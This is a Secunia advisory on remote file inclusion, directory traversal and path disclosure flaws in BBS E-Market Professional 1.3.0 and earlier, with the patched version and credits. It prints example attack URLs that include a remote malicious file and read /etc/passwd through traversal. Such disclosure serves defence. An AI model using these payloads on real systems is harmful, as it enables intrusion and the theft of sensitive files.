Secunia

Some vulnerabilities have been reported in BBS E-Market Professional, which can be exploited by malicious people to compromise a vulnerable system.

1) Input passed to the "pageurl" parameter in "index.php" isn't properly verified, before it is used to include files. This can be exploited to include arbitrary files from external and local resources.

Example:
http://[victim]/becommunity/community/index.php?pageurl=[malicious_URL]

Also, it is possible to disclose path information by passing an invalid value to the "from_market" parameter in "index.php".

2) Input passed to the "dn_path" parameter in "f_down.php" and the "pageurl" parameter in "index.php" isn't properly verified, before it is used to download / view files. This can be exploited to access sensitive information outside the web root using directory traversal attacks.

Example:
http://[victim]/becommunity/board/f_down.php?dn_path=/../../../../../../../../../[etc]/[passwd]
http://[victim]/bemarket/shop/index.php?pageurl=viewpage&filename=../../../../../../../../[etc]/[passwd]

Also, it is possible to disclose path information by passing any url to the "pageurl" parameter in "index.php".

Example:
http://[victim]/bemarket/shop/index.php?pageurl=[any url]

The vulnerabilities reportedly affect version1.3.0 and prior.

Solution
Update to version 1.4.0 (patch bf_140).

Provided and/or discovered by
1) y3dips
1) and 2) Jeong Jin-Seok, STG Security

Changelog
Further details available in Customer Area

Original Advisory
http://echo.or.id/adv/adv06-y3dips-2004.txt

Deep Links
Links available in Customer Area